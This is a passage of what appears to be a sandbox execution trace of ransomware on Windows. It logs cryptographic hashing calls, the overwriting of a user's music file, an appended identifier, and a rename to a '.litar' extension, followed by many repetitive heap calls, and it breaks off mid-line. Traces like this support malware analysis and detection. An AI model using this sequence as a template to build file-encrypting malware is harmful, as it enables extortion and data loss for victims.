[0127.182] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.182] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.182] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0127.182] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.183] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.183] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.183] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.183] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.183] GetLastError () returned 0x0 [0127.183] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.183] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0127.183] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.183] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xdd30) returned 0x30fa0b0 [0127.183] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.183] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.183] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xdd2a, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xdd2a, lpOverlapped=0x0) returned 1 [0127.184] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.184] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xdd2f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.184] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.184] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.184] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.184] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.184] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.184] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.184] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.184] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.184] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.185] CloseHandle (hObject=0x624) returned 1 [0127.185] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020a70 [0127.185] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c0) returned 0x30fa0b0 [0127.185] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0127.186] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\7fX2K\\Si93eS7jq6X4SJC7vm61.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\yjf_dr\\7fx2k\\si93es7jq6x4sjc7vm61.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\7fX2K\\Si93eS7jq6X4SJC7vm61.mp3.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\yjf_dr\\7fx2k\\si93es7jq6x4sjc7vm61.mp3.litar")) returned 1 [0127.186] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.186] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.187] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd16f0 | out: hHeap=0x5c0000) returned 1 [0127.187] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde2af1c0, ftCreationTime.dwHighDateTime=0x1d4d4c1, ftLastAccessTime.dwLowDateTime=0x957b30, ftLastAccessTime.dwHighDateTime=0x1d4cd93, ftLastWriteTime.dwLowDateTime=0x957b30, ftLastWriteTime.dwHighDateTime=0x1d4cd93, nFileSizeHigh=0x0, nFileSizeLow=0xdd2f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Si93eS7jq6X4SJC7vm61.mp3", cAlternateFileName="SI93ES~1.MP3")) returned 0 [0127.187] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.187] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0127.187] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074fd8 | out: hHeap=0x5c0000) returned 1 [0127.187] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.187] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcf18 [0127.187] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.187] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.187] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.187] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.188] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.188] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.188] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.188] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.188] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.188] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.188] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.188] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.188] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.188] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.188] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.188] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.188] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.188] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.188] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.188] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.188] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.188] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.188] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.188] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.188] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.188] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.188] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.188] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.188] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.188] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.188] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.188] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.188] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.188] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.188] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.189] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.189] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.189] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.189] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.189] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.189] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.189] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.189] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.189] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.189] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.189] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.189] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.189] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.189] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.189] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.189] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.189] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.189] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.189] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.189] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.189] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.189] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.189] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.189] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.189] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.189] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.189] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.189] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.189] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.190] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.190] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.190] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.190] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.190] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.190] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.190] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.190] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.190] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.190] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.190] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.190] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.190] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.190] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.190] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.190] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.190] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.190] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.190] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.190] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.190] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.190] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.190] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.190] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.190] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.190] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.190] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.190] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.190] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.190] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.191] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.191] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.191] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.191] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.191] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.191] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.191] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.191] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.191] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.191] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.191] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.191] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.191] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.191] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.192] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.192] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.192] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.192] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.192] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.192] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.192] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.192] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.192] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.192] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.192] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.192] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.192] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.192] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.192] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.192] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.192] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.192] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.192] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.192] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.192] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.192] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.192] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.192] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.192] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.192] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.192] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.192] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.192] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.192] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.193] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.193] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.193] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.193] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.193] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.193] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.193] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.193] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.193] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.193] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.193] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: 